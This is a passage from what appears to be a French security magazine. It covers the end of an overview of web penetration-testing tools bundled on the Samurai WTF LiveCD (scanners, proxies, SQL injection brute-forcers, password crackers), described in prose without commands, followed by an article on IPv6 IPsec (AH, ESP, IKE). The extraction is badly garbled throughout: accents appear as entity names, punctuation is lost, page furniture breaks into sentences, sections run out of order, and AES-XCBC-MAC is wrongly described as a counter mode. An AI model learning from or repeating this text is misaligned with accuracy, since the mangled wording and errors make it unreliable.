FierceFierce ou plus preacuteciseacutement Fierce Domain Scanner est petit script eacutecrit en Perl dont le but est drsquoauditer la seacutecuriteacute des applications web Il est capable de tes-ter des domaines qui ne sont pas continus Fierce Do-main Scanner analyse un domaine et tente drsquoidentifier des sites qui sont susceptibles decirctre des cibles po-tentielles dune attaque web Fierce Domain Scanner trouve sa place dans la cateacutegorie des outils de recon-naissance

GooScanGooScan est un scanner de vulneacuterabiliteacutes pour page web fonctionnant agrave partir de requecirctes avec le moteur de recherche Google Crsquoest un utilitaire assez puissant uniquement preacutesent en ligne de commande Cet outil permet de ne pas faire de recherches directement sur la cible en elle-mecircme mais en premier lieu en passant par le moteur de recherche Google afin de reacutecupeacuterer le maximum drsquoinformations sans toucher au systegraveme cible Tout comme Fierce GooScan trouve sa place

dans la cateacutegorie des outils de reconnaissance (voir Figure 7)

HttpprintHttpprint est un logiciel qui relegraveve les laquo empreintes raquo drsquoun serveur web (voir Figure 8) Httpprint deacutetecte avec exactitude les caracteacuteristiques du serveur Web distant mecircme si certains administrateurs systegraveme tentent de cacher ces caracteacuteristiques en changeant certains pa-ramegravetres ainsi que les banniegraveres

Httpprint utilise des signatures pour la reconnaissan-ce des diffeacuterents types de serveur web Il est possible drsquoajouter ses propres signatures agrave la base de donneacutees deacutejagrave preacutesente

MaltegoMaltego est un outil qui deacutetermine les relations et les liens reacuteels entre le monde (personnes entreprises organisations sites web etc ) Maltego permet de trouver simplement et de maniegravere graphique des in-formations telles que des documents les diffeacuterentes adresses e-mail dune personne des numeacuteros de teacute-leacutephone qui pourraient lui ecirctre associeacutes des rensei-gnements sur linfrastructure mais aussi collecter des informations et bien dautres choses encore Trou-vant sa place dans les outils de type laquo reconnaissan-ce raquo Maltego est reacuteputeacute pour ecirctre lrsquoun des meilleurs

Figure 8 Relever les empreintes avec HTTPRINT

Samurai proteacutegez vos applications web

hakin9orgfr 35

outils de cette cateacutegorie Il permet eacutegalement drsquoauto-matiser des actions de types laquo footprinting raquo en vue de tests de peacuteneacutetration preacutevus ulteacuterieurement Il per-met gracircce au nom drsquoune socieacuteteacute par exemple de re-monter jusqursquoagrave son infrastructure technique agrave savoir les serveurs DNS les serveurs Web les serveurs Mail les heacutebergeurs et ainsi de suite (voir Figure 9 et 10)

La version 20 de Maltego preacutesente sur Samurai WTF est eacutegalement preacutesente sur la version finale de Back-Track III

NiktoNikto est un scanner de serveur Web dont le but est de trouver automatiquement les risques lieacutes agrave la confi-guration ainsi qursquoaux versions utiliseacutees Plusieurs ty-pes de tests sont effectueacutes sur le serveur cible gracircce agrave Nikto Ainsi Nikto vous indiquera les versions utili-seacutees et les eacuteventuels problegravemes en rapport avec ces

Figure 9 Utilisation de Maltego

Figure 10 Deacutemarrage de Maltego Figure 11 W3AF via son interface graphique

5201036

pratique

derniegraveres Drsquoautres tests portent sur la configuration du serveur en elle-mecircme comme le Directory indexing lrsquoutilisation de lrsquooption TRACE la vulneacuterabiliteacute aux in-jections XSS ou injections SQL la preacutesence drsquoinfor-mations systegraveme reacuteveacuteleacutees (via phpinfo() par exemple) etc Nikto teste en tout et pour tout plus de 2500 points clefs agrave la recherche de failles exploitables par un pi-rate informatique agrave lrsquoencontre drsquoune application web que ce soit lrsquoapplication web elle-mecircme ou le serveur la supportant

parosParos ou plus preacuteciseacutement Paros Proxy intervient sur le volet de la seacutecuriteacute applicative En eacutemulant le navi-gateur web il va permettre de tester des actions sur des services et des applications en ligne et ainsi eacuteva-luer leur niveau de seacutecuriteacute Paros Proxy offre notam-ment la possibiliteacute de capturer une requecircte de la reacuteeacute-crire avant de la reacuteacheminer Toutes les donneacutees sur HTTP et HTTPS entre le serveur et le client y compris les cookies peuvent donc ecirctre intercepteacutees et modi-fieacutees

ratproxyRatProxy a pour but drsquoaider les deacuteveloppeurs de si-tes internet agrave mieux identifier les failles potentielles de leurs creacuteations Cet outil est proposeacute par le geacuteant Goo-gle qui apregraves lrsquoavoir reacutealiseacute en interne a deacutecideacute de pu-blier le code pour qursquoil soit accessible par tout le mon-

de Loutil est multiplateforme mais neacutecessite Cygwin afin de fonctionner sous Windows Comme son nom lrsquoindique RatProx se configurera en premier lieu com-me un proxy Puis il faudra ensuite visiter le site inter-net agrave tester et lapplication de maniegravere quasi automa-tique testera et reacutedigera un rapport au format HTML RatProxy a pour but de deacutenicher des problegravemes de seacute-curiteacute les plus communs (Injection XSS injection SQL etc) Dans lrsquoutilisation RatProxy se rapproche donc eacutenormeacutement de Paros et de WebScarab (Voir un peu plus bas)

SqLBruteSQLBrute est un petit outil inteacutegralement eacutecrit en Py-thon permettant de bruteforcer les donneacutees agrave lrsquoaide drsquoin-jection SQL aveugle (Blind Injection SQL) Il utilise une exploitation baseacutee sur le temps de reacuteponse ainsi que sur les erreurs de Microsoft SQL Server et Oracle SQL-Brute permet drsquoacceacuteleacuterer les traitements gracircce agrave lrsquoutili-sation du multithreading et ne neacutecessite aucune biblio-thegraveque suppleacutementaire

W3aFW3AF ou encore Web Application Attack and Audit Framework est un logiciel entiegraverement eacutecrit en Py-thon W3AF est un Framework tregraves complet orienteacute test de peacuteneacutetration des applications web (voir Figure 11 et 12) Comme son nom lrsquoindique il est orienteacute vers les audits et les attaques agrave lrsquoencontre des appli-cations web Il trouve donc tregraves bien sa place dans le LiveCD Samurai W3AF est diviseacute en deux parties le core qui gegravere les processus et la communication entre les plugins Les plugins eacutetant classeacutes en 7 ca-teacutegories distinctes (deacutecouverte audit grep attaques affichage modifieurs de requecirctes eacutevasion et brute force) permettant de faire de W3AF un outil tregraves com-plet rentrant dans les trois cateacutegories deacutejagrave eacutevoqueacutees agrave savoir reconnaissance deacutecouverte et exploita-tion

Le Framework dispose drsquoune interface graphique tregraves complegravete et tregraves intuitive pour lrsquoensemble des actions qursquoil propose Le projet contient plus de 130 plugins qui permettent de chercher pour les injections SQL les in-jections XSS les inclusions de fichiers locauxdistants et bien plus encore

Figure 12 W3AF an ligne de commande

Figure 13 Ecran de lancement de WebShag

Samurai proteacutegez vos applications web

hakin9orgfr 37

Pour ceux qui le souhaitent W3AF dispose aussi drsquoune interface en ligne de commande plus difficile agrave exploiter mais tout aussi puissante

WapitiWapiti est un petit logiciel eacutecrit entiegraverement en Python per-mettant drsquoauditer la seacutecuriteacute drsquoune application Web Le logiciel teste automatiquement de nombreuses attaques qursquoun pirate tenterait de lancer une agrave une telles que lrsquoinclu-sion de fichiers locaux lrsquoinclusion de fichiers distants les injections SQL et les injections XSS Wapiti est souvent utiliseacute en parallegravele agrave Nikto qui remplit les mecircmes fonctions que ce dernier Tout comme Nikto Wapiti trouve sa place dans les outils de deacutecouverte et drsquoexploitation

WebScarabTout comme DirBuster WebScarab est un outil issu de lrsquoOWASP WebScarab est un proxy applicatif libre eacutecrit en Java permettant drsquointercepter et de modifier les requecirctes ainsi que les reacuteponses HTTP (dans le mecircme esprit que Paros) Il est important de compren-dre que gracircce agrave ce genre drsquooutils les controcircles mis en place cocircteacute client par du JavaScript par exemple peu-vent facilement ecirctre contourneacutes comme la gestion des longueurs maximales drsquoun champ gracircce agrave lrsquoattribut laquo maxlength raquo Les erreurs suite aux mauvais paramegrave-tres inseacutereacutes dans des formulaires constituent lrsquoune des premiegraveres vulneacuterabiliteacutes web deacutecreacuteteacutee par le guide de lrsquoOWASP

Figure 14 Loutil Nmap avec une interface graphique

Figure 15 Ligne de commande sous Samurai

5201038

pratique

WebShagWebshag est un outil multiplateforme eacutecrit en Python destineacute agrave laudit de serveurs web Il regroupe une seacute-rie de fonctionnaliteacutes utiles lors de tests dintrusion de serveurs web tels quun scanner dURL ainsi qursquoun fuzzer de fichiers En outre il integravegre des fonctionna-liteacutes deacutevasion IDS speacutecialement conccedilues pour com-pliquer la correacutelation entre les nombreuses requecirctes quil geacutenegravere (pour ce faire il est capable dutiliser un serveur proxy diffeacuterent pour chaque requecircte geacuteneacutereacutee voir Figure 13)

En plus des fonctionnaliteacutes deacutecrites ci-dessus Webs-hag propose de nouveaux outils agrave limage de son mo-

dule permettant de reacutecupeacuterer la liste des noms de do-maine heacutebergeacutes par une adresse IP donneacutee

Webshag propose une interface graphique tregraves sim-ple et tregraves intuitive Il existe eacutegalement une version en ligne de commande pour la version GNULinux pour les plus teacutemeacuteraires drsquoentre vous

ZeNmapZeNmap est simplement lrsquointerface graphique du ceacutelegrave-bre outil Nmap (voir Figure 14) Nmap est reacuteputeacute pour ecirctre un excellent outil utilisable uniquement en ligne de commande pouvant deacutecourager les moins teacutemeacuterai-res drsquoentre nous Les balayages proposeacutes par ZeN-

Figure 16 John The Ripper en ligne de commande

Figure 17 Le fameux utilitaire Nmap

Samurai proteacutegez vos applications web

hakin9orgfr 39

map vont du simple scan aux scans tregraves speacutecifiques en passant par la deacutetection de systegravemes drsquoexploita-tion distants Lrsquoensemble de ces choix seffectue gracircce agrave une listbox rendant les configurations vraiment tregraves simples Voici agrave quoi ressemble cette interface graphi-que

Les sorties de ZeNmap sont tregraves claires et compreacute-hensibles comparativement aux lignes de commande de la version classique Il est possible drsquoutiliser les profils preacutedeacutefinis par ZeNmap (Intense Scan Quick Scan Operating System Detection etc) ou de taper directement les commandes dans la partie preacutevue agrave cet effet pour les plus confirmeacutes cherchant un reacutesul-tat preacutecis

Malgreacute des menus complets certains outils ne sont pas disponibles agrave partir des menus que proposent Sa-murai WTF et sont donc uniquement accessibles via la ligne de commande (voir Figure 15)

Parmi ces outils on retrouve

bull Dnswalk Dnswalk est un deacutebuggeur de DNS Il exeacutecute des transferts de zone sur les domaines in-diqueacutes et veacuterifie de plusieurs maniegraveres linteacutegriteacute et lexactitude de la base de donneacutees

bull Httping Httping correspond au ping pour les re-quecirctes HTTP Si la requecircte ne reacutepond pas il se peut que la page nrsquoexiste pas ou bien qursquoil y ait un souci relatif au serveur (preacutesence drsquoun fi-rewall)

bull Httrack Httrack est simplement un aspirateur de site cest-agrave-dire qursquoil vous donne la possibiliteacute de teacuteleacutecharger lrsquointeacutegraliteacute drsquoune application web sur votre disque dur personnel en construisant reacutecur-sivement tous les reacutepertoires reacutecupeacuterant HTML images et fichiers du serveur vers votre ordina-teur Httrack reacuteorganise la structure des liens en relatif

bull JTR JTR ou est un puissant crackeur de mot de passe en ligne de commande fonctionnant tant sous Windows que sous GNULinux John The Rip-per procegravede agrave des attaques par bruteforce cest-agrave-dire en tentant toutes les combinaisons possibles (voir Figure 16)

bull Netcat Netcat est un utilitaire entiegraverement en ligne de commande permettant douvrir des connexions reacuteseau que ce soit UDP ou TCP En raison de sa polyvalence netcat est aussi appeleacute le couteau suisse TCPIP Il peut ecirctre utiliseacute pour connaicirctre leacutetat des ports par exemple

bull Nmap Nmap est tregraves certainement le scanneur de ports le plus connu et le plus utiliseacute dans le monde de la seacutecuriteacute informatique (mecircme Trini-ty lrsquoutilise) ainsi que par les administrateurs reacute-seau Il est principalement conccedilu pour deacutetec-ter les ports ouverts identifier les services ainsi qursquoobtenir des informations sur le systegraveme drsquoex-

ploitation Bien que tregraves petit nmap est un lo-giciel extrecircmement complet permettant drsquoobtenir des reacutesultats fort inteacuteressants (voir Figure 17)

bull Snarf Snarf est un simple petit utilitaire en ligne de commande permettant de transfeacuterer des fichiers via les protocoles HTTP gopher finger et FTP sans aucune interaction avec lrsquoutilisateur

Le LiveCD Samurai dispose eacutegalement de plusieurs outils non relatifs agrave la seacutecuriteacute informatique permet-tant simplement de faire de Samurai une distribution complegravete Vous retrouverez ainsi des programmes comme Wine permettant drsquoeacutemuler des programmes Windows dans un environnement Linux Des logiciels pour eacutecouter de la musique ou pour acceacuteder agrave Inter-net dans de bonne condition sont eacutegalement disponi-bles

ConclusionLrsquoensemble des outils preacutesents dans le live CD Sa-murai Web Testing Framework permet de le classer parmi les frameworks les plus complets en matiegravere de peacuteneacutetration des applications web Bien que Sa-murai WTF soit encore un projet tregraves jeune il dispo-se deacutejagrave drsquoune grande maturiteacute lui permettant drsquoavoir une place bien preacutesente dans le milieu de la seacutecu-riteacute web

Samurai WTF est en constante eacutevolution et integravegre de plus en plus drsquooutils que les professionnels de la seacutecuri-teacute utilisent reacuteguliegraverement afin de satisfaire parfaitement leurs besoins

Samurai WTF est donc une distribution sur laquelle il est important de garder un œil tant son eacutevolution est impressionnante et son utilisation de plus en plus freacute-quente chez les professionnels

Nous vous rappelons eacutegalement que lrsquoensemble de ces outils bien que gratuits sont soumis agrave cer-taines restrictions qursquoil est tenu de connaitre avant toute utilisation Ces outils sont entiegraverement leacutegaux mais il nrsquoest autoriseacute de les utiliser que contre son propre reacuteseau agrave moins drsquoavoir les autorisations neacute-cessaires Page daccueil httpsamuraiinguar-dianscom

a prOpOD De LauteurReacutegis SENET est actuellement eacutetudiant en quatriegraveme anneacutee agrave lrsquoeacutecole Supeacuterieur drsquoinformatique Supinfo Passionneacute par les tests drsquointrusion et les vulneacuterabiliteacutes Web il tente de deacuteco-uvrir la seacutecuriteacute informatique drsquoun point de vue entreprise Il soriente actuellement vers le cursus CEH LPT et Offensive Se-curityContact regissenetsupinfocom

5201040

Pratique

Au moment de la deacutefinition dIPv6 de nouveaux besoins tels que la seacutecuriteacute la mobiliteacute sont ap-parus et ont pu ecirctre pris en compte lors de la

phase de standardisation Ce chapitre preacutesente quel-ques-uns de ces meacutecanismes qui repreacutesentent une grande avanceacutee de la couche reacuteseau

iPsecIPsec est le protocole speacutecifiquement conccedilu pour seacutecu-riser IPv6 Il permet de reacutealiser des reacuteseaux priveacutes Vir-tuels ou VPNs (Virtual Private Networks) au niveau IP et offre les services

bull drsquoauthentification des donneacuteesbull de chiffrement de donneacutees bull drsquointeacutegriteacute des donneacutees pour garantir que les paquets

nrsquoont pas eacuteteacute modifieacutes durant leur acheminementbull drsquoanti-rejeu afin de deacutetecter les eacuteventuels paquets

rejoueacutes par un attaquant

Toute impleacutementation IPv6 se doit de lrsquointeacutegrer dans sa pile Ce protocole est eacutegalement utilisable avec IPv4 mais lrsquoutilisation du NATPAT (Network Address Trans-lationProtocole Address Translation) en limite la mise en œuvre

Meacutecanismes iPsecIPsec deacutefinit 2 protocoles de seacutecurisation

bull AH (Authentication Header)bull ESP (Encryption Security Payload)

Les services de seacutecurisation offerts par ces 2 protoco-les sont distincts

bull AH permet de sassurer que leacutemetteur du message est effectivement celui quil preacutetend ecirctre Il sert aus-si au controcircle dinteacutegriteacute pour garantir au reacutecepteur que personne na modifieacute le contenu dun message lors de son acheminement et peut optionnellement ecirctre utiliseacute pour la deacutetection des rejeux

bull ESP offre les mecircmes services qursquoAH et permet en plus de chiffrer lensemble des paquets ou unique-ment la charge utile ESP garantit eacutegalement de fa-ccedilon limiteacutee linteacutegriteacute du flux

associations de seacutecuriteacuteAfin de seacutecuriser les eacutechanges les entiteacutes en preacutesence doivent bien eacutevidemment partager un ensemble com-mun drsquoinformations telles que le protocole IPsec usiteacute (AH ou ESP) les cleacutes les algorithmes hellip Ces diffeacuteren-tes informations constituent des associations de seacutecu-riteacute ou SA (Security Association)

Chaque association de seacutecuriteacute est identifieacutee de maniegravere unique par un triplet comprenant un index de paramegravetres de seacutecuriteacute SPI (Security Parameters Index) ladresse du destinataire IP et le protocole de seacutecuriteacute AH ou ESP

Meacutecanismes iPv6 avanceacutes

Depuis les anneacutees 80 lrsquoInternet connaicirct un succegraves incroyable La majeure partie des entreprises y est maintenant directement connecteacutee le nombre de particuliers deacutetenteurs drsquoun abonnement Internet aupregraves drsquoun FAI (Fournisseur drsquoAccegraves Internet) est en croissance constante

Cet article expliquebull Cet article est destineacute agrave vous faire appreacutehender les techniqu-

es fondamentales drsquoIPv6 le nouveau mode drsquoadressage les meacutecanismes de communication sous-jacents la configuration automatique hellip bref lrsquoensemble des protocoles basiques qui composent lrsquoarchitecture drsquoIPv6

Ce quil faut savoirbull Pour appreacutehender au mieux cet article il est preacutefeacuterable drsquoavoir

des connaissances relativement solides drsquoIPv4 et en particu-lier du modegravele en couche TCPIP Il est bien eacutevidemment judi-cieux drsquoavoir eacutegalement au preacutealable appreacutehendeacute les notions expliciteacutees dans lrsquoarticle preacuteceacutedent

Freacutedeacuteric roudaut

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 41

ces 2 valeurs coiumlncident lrsquointeacutegriteacute ainsi que lrsquoauthentifica-tion des champs concerneacutes est assureacutee Ces champs dif-fegraverent selon le mode usiteacute transport ou tunnel

Le rejeu des paquets est quant agrave lui deacutetecteacute par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension AH est inseacutereacutee apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) De plus AH eacutetant vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication celle-ci apparait apregraves les extensions drsquoen-tecircte Hop-By-Hop Op-tion Header Routing Header et Fragment Header Lrsquoex-tension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Lrsquoauthentification et lrsquointeacutegriteacute portent donc sur

bull les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte AHbull certains champs de lrsquoen-tecircte IPv6 invariants lors de

lrsquoacheminement du paquetbull certains champs invariants des extensions drsquoen-tecircte

positionneacutees avant AH

Les extensions drsquoen-tecircte positionneacutees apregraves AH ne sont pas modifieacutees durant lrsquoacheminement des paquets agrave ce titre elles sont proteacutegeacutees par le champ ICV Cet-te protection diffegravere pour les extensions drsquoen-tecirctes po-sitionneacutes avant AH certains champs pouvant ecirctre alteacute-reacutes par les routeurs preacutesents le long du chemin

Les sous-options preacutesentes dans les extensions headers Hop-By-Hop et Destination Options Header disposent drsquoun bit positionneacute agrave 1 si lrsquooption peut ecirctre modifieacutee le long du trajet Dans le cas ougrave ce bit nrsquoest pas positionneacute la sous-option est proteacutegeacutee dans le cas contraire les octets de la sous-option sont positionneacutes agrave 0 lors du calcul de lrsquoICV

Cette protection ne srsquoapplique pas non plus sur lrsquoex-tension Fragment Headers qui apparaicirct uniquement apregraves la phase drsquoauthentification

La Figure 2 montre ainsi le positionnement de lrsquoexten-sion drsquoen-tecircte AH en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacutegriteacute

Mode tunnelEn mode Tunnel lrsquoextension AH est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 3 et le Tableau 2 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur

eSP (encryption Security Payload)La mise en œuvre drsquoESP repose sur une extension drsquoen-tecircte speacutecifique Celle-ci se deacutecompose en 2 par-ties La premiegravere partie preacutecegravede les donneacutees agrave proteacute-ger la deuxiegraveme termine le paquet et contient un eacuteven-tuel ICV pour proteacuteger le paquet en authentification

Une association de seacutecuriteacute est unidirectionnelle Une communication bidirectionnelle entre 2 entiteacutes neacutecessi-te donc lutilisation de 2 associations de seacutecuriteacute

Mode transport et tunnelLes normes IPsec deacutefinissent deux modes distincts dopeacute-ration IPsec le mode Transport et le mode Tunnel Le mode Tunnel ne fonctionne que pour les datagrammes IP-in-IP En mode Tunnel le paquet IP interne deacutetermine la strateacutegie IPsec qui protegravege son contenu tandis qursquoen mode Transport len-tecircte exteacuterieur deacutetermine la strateacutegie IPsec qui protegravege le paquet IP interne Contrairement au mode Transport le mode Tunnel ne permet pas agrave len-tecircte IP exteacuterieur de dicter la strateacutegie de son datagramme IP interne Enfin dans les 2 modes lrsquoen-tecircte exteacuterieur est partiellement proteacutegeacute mais le mode Tunnel a lrsquoavantage de proteacuteger inteacutegralement son en-tecircte exteacuterieur pouvant ainsi se reacuteveacuteler fortement utile pour la creacuteation de VPN

aH (authentication Header)La mise en œuvre drsquoAH repose sur une extension drsquoen-tecircte speacutecifique deacutefinie dans la Figure 1

Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH est preacuteciseacute dans le Tableau 1

NB Faute de place certaines figures ont ete suppri-mees Vous pouvez le telecharger sur le site wwwha-kin9orgfr

Protection aH et algorithmesAH suppose geacuteneacuteralement une impleacutementation des al-gorithmes suivants

bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur coupleacute agrave co-de dauthentification MAC (CBC-MAC) Le comp-teur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour cha-que message alors que le code dauthentification permet de veacuterifier que le message na pas eacuteteacute alteacute-reacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensemble commun minimum des impleacutementations drsquoAH

Lors de la reacuteception drsquoun paquet AH la pile IPsec deacutetec-te lrsquoassociation de seacutecuriteacute concerneacutee en deacuteduit les algo-rithmes et les cleacutes associeacutees calcule la valeur du champ ICV et la compare avec la valeur fournie Dans le cas ougrave

5201042

Pratique

Ces 2 parties sont deacutefinies dans la Figure 4Le rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte

ESP est preacuteciseacute dans le Tableau 3

Protection eSP et algorithmesLa protection drsquoESP repose sur le choix des algorith-mes drsquoauthentification et de chiffrements Ils sont soit distincts soit combineacutes cest-agrave-dire qulsquoauthentification et chiffrement sont reacutealiseacutes par le mecircme algorithme

Dans le cas drsquoune protection combineacutee ESP suggegravere lrsquoutilisation drsquoAES-CCM ou AES-GCM deacutejagrave utiliseacute pour respectivement le 80211i et le 8021ae

Dans le cas drsquoune protection seacutepareacutee ESP suppo-se geacuteneacuteralement une impleacutementation des algorithmes drsquoauthentification suivants

bull NULL Authentication (Peut ecirctre impleacutementeacute)bull HMAC-MD5-96 (Peut ecirctre impleacutementeacute) cet algo-

rithme produit une empreinte sur 128 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull HMAC-SHA1-96 (Doit ecirctre impleacutementeacute) cet algo-rithme produit une empreinte sur 160 bits tronqueacutee agrave 96 bits pour le champ ICV de AH

bull AES-XCBC-MAC-96 (Devrait ecirctre impleacutementeacute) ce protocole utilise le chiffrement par bloc AES dans un mode dopeacuteration de type compteur cou-pleacute agrave code dauthentification MAC (CBC-MAC) Le compteur sert agrave assurer un chiffrement sucircr en eacutevitant davoir un vecteur dinitialisation identique pour chaque message alors que le code dauthen-tification permet de veacuterifier que le message na pas eacuteteacute alteacutereacute Cet algorithme produit eacutegalement une empreinte sur 96 bits pour le champ ICV de AH

Les algorithmes de chiffrements deacutefinis sont alors les suivants

bull NULL Encryption (Doit ecirctre impleacutementeacute)

bull AES-CBC (Doit ecirctre impleacutementeacute) AES supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CBC neacutecessite un IV de 16 octets

bull 3DES-CBC (Doit ecirctre impleacutementeacute) cet algorithme utilise une cleacute effective de 192 bits Il est reacutealiseacute par application de 3 DES-CBC chacun utilisant une cleacute de 64 bits (dont 8 bits de pariteacute) 3DES-CBC neacuteces-site un IV de 8 octets

bull AES-CTR (Devrait ecirctre impleacutementeacute) AES en mo-de compteur supporte 3 tailles de cleacute 128 192 et 256 bits La taille de cleacute par deacutefaut est de 128 bits AES-CTR neacutecessite un IV de 16 octets

bull DES-CBC (Ne devrait pas ecirctre impleacutementeacute)

Drsquoautres algorithmes sont bien entendu utilisables mais ceux preacuteciseacutes ci-dessus repreacutesentent lrsquoensem-ble commun minimum des impleacutementations drsquoESP Il est agrave noter qursquoune association de seacutecuriteacute ESP ne doit agrave aucun moment utiliser conjointement un algo-rithme drsquoauthentification et de chiffrement nul

En mode tunnel ESP depuis sa derniegravere version pro-pose un mode de confidentialiteacute de flux par lrsquoutilisation du champ TFC Ce champ permet drsquoadjoindre des octets de bourrage de taille aleacuteatoire La taille de ce champ nrsquoeacutetant preacuteciseacutee par aucun autre champ elle peut ecirctre deacuteduite du champ Payload Length de lrsquoen-tecircte IP inteacuterieure au tunnel Ce champ TFC pourrait eacutegalement ecirctre utiliseacute en mode transport agrave condition bien entendu que le proto-cole de niveau transport comporte une indication sur la taille de sa charge utile (cas de TCP UDP ICMP)

Lors de la reacuteception drsquoun paquet ESP la pile IPsec deacutetecte lrsquoassociation de seacutecuriteacute concerneacutee et en deacuteduit les algorithmes et les cleacutes associeacutees

Si la protection en authentification est activeacutee le reacutecep-teur calcule lrsquoICV sur le paquet ESP sans ce champ ICV Si le champ calculeacute coiumlncide avec le champ transmis lrsquointeacutegriteacute est assureacutee sur les champs concerneacutes Ces champs diffegraverent selon le mode usiteacute transport ou tun-

table 1 Rocircle des diffeacuterents champs de lrsquoextension drsquoen-tecircte AH

Champs Taille RocircleNext Header 8 bits Deacutecrit lrsquoen-tecircte de la couche immeacutediatement supeacuterieure ou la prochaine exten-

sion drsquoen-tecircte Similaire au champ Protocol en IPv4

Payload Len 8 bits Speacutecifie la longueur -2 en mots de 32 bits de lrsquoextension drsquoen-tecircte AH

RESERVED 16 bits Positionneacute agrave 0

SPI 32 bits Security Parameters Index utiliseacute par le reacutecepteur pour trouver lrsquoassociation de seacutecuriteacute agrave utiliser

Sequence Number

32 bits Compteur increacutementeacute agrave chaque paquet Permet en particulier de deacutetecter le re-jeu

ICV VariableSelon lrsquoalgorithme usiteacute

Integrity Check Value Destineacute agrave la validation de lrsquointeacutegriteacute du paquet Doit ecirctre un multiple de 32 bits

Padding Variable Utiliseacute pour des besoins drsquoalignement drsquoen-tecircte Sa taille est telle que lrsquoextension drsquoen-tecircte AH est un multiple de 64 bits (32 bits pour IPv4)

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 43

nel Vient ensuite le deacutechiffrement du paquet avec lrsquoalgo-rithme et la cleacute fournie par lrsquoassociation de seacutecuriteacute

Le rejeu des paquets est quant agrave lui deacutetecteacute agrave la ma-niegravere drsquoAH par le champ Sequence Number increacutementeacute agrave chaque paquet et eacutegalement proteacutegeacute par le champ ICV

Mode transportEn mode Transport lrsquoextension ESP est inseacutereacutee de la mecircme maniegravere que lrsquoextension AH apregraves lrsquoen-tecircte IPv6 et avant les en-tecirctes de niveau transport (TCP UDP) ESP eacutetant eacutegalement vue comme une extension drsquoen-tecircte traiteacutee de bout en bout de la communication el-le apparaicirct apregraves les extensions drsquoen-tecircte Hop-By-Hop Option Header Routing Header et Fragment Header Lrsquoextension drsquoen-tecircte Destination Options Header est quant agrave elle placeacutee indiffeacuteremment avant ou apregraves

Le chiffrement porte donc sur les octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP agrave lrsquoexception des champs SPI Sequence Number ICV

Lrsquoauthentification eacuteventuelle reacutealiseacutee par le champ ICV porte sur lrsquoensemble des octets situeacutes au dessus de lrsquoextension drsquoen-tecircte ESP La Figure 5 montre ainsi le positionnement de lrsquoextension drsquoen-tecircte ESP en mode transport ainsi que la porteacutee de lrsquoauthentificationinteacute-griteacute et du chiffrement

Mode tunnelEn mode Tunnel lrsquoextension ESP est inseacutereacutee avant lrsquoen-tecircte IPv6 Un nouvel en-tecircte IPv6 est alors inseacutereacute en tecircte La Figure 6 et le tableau 4 preacutesentent le mode de construction de ce ne nouvel en-tecircte ainsi que le posi-tionnement des champs de lrsquoen-tecircte Inteacuterieur Dans le cas drsquoune utilisation en mode tunnel la totaliteacute du pa-quet initial est donc chiffreacutee

topologies de mises en œuvre IPsec a un inteacuterecirct majeur principalement par son mode ESP dans le cas ougrave nous souhaitons

bull chiffrer etou authentifier du trafic de bout en bout ou jusqursquoagrave une passerelle Dans ce cas les entiteacutes en

preacutesence doivent preacutefeacuterentiellement disposer drsquoun adressage public le NAT eacutetant assez difficilement compatible avec IPsec Une telle topologie a un inteacute-recirct majeur pour assurer la confidentialiteacute entre 2 enti-teacutes ou pour un utilisateur nomade par exemple

bull creacuteer un VPN entre sites distants Ce besoin inter-vient pour par exemple interconnecter des reacuteseaux priveacutes distants au travers dun reacuteseau public

Ces 2 modes opeacuterationnels sont reacutesumeacutes dans la Fi-gure 7 Dans cette figure la protection est symeacutetrique ce qui nrsquoest pas forceacutement le cas les associations de seacutecuriteacute eacutetant unidirectionnelles

iKe (internet Key exchange)Il a eacuteteacute preacuteceacutedemment indiqueacute qursquoAH et ESP neacutecessi-taient des cleacutes de chiffrements par le biais des associa-tions de seacutecuriteacute Cette gestion des cleacutes peut donc ecirctre manuelle mais dans un environnement conseacutequent une telle gestion devient irreacutealisable De plus cette meacutethode implique une deacutefinition totalement statique des associa-tions de seacutecuriteacute et un non-renouvellement des cleacutes

Le protocole IKE a donc eacuteteacute deacuteveloppeacute pour une ges-tion automatique des associations de seacutecuriteacute en parti-culier des cleacutes ainsi que des algorithmes agrave utiliser

IKE fait appel aux eacuteleacutements suivants

bull un protocole de gestion des associations de seacutecuri-teacute ISAKMP (Internet Security Association and Key Management Protocol) deacutefinissant des formats de paquets pour creacuteer modifier et deacutetruire des asso-ciations de seacutecuriteacute Ce protocole sert eacutegalement de support pour leacutechange de cleacutes preacuteconiseacute par les pro-tocoles de gestion de cleacutes Il assure aussi lauthenti-fication des partenaires dune communication

bull un protocole deacutechange de cleacutes de session fondeacute sur SKEME et Oakley qui repose sur la geacuteneacuteration de secrets partageacutes Diffie-Hellman

bull un domaine dinterpreacutetation ou DOI (Domain of In-terpretation) qui deacutefinit tous les paramegravetres propres agrave lenvironnement IPsec agrave savoir les protocoles

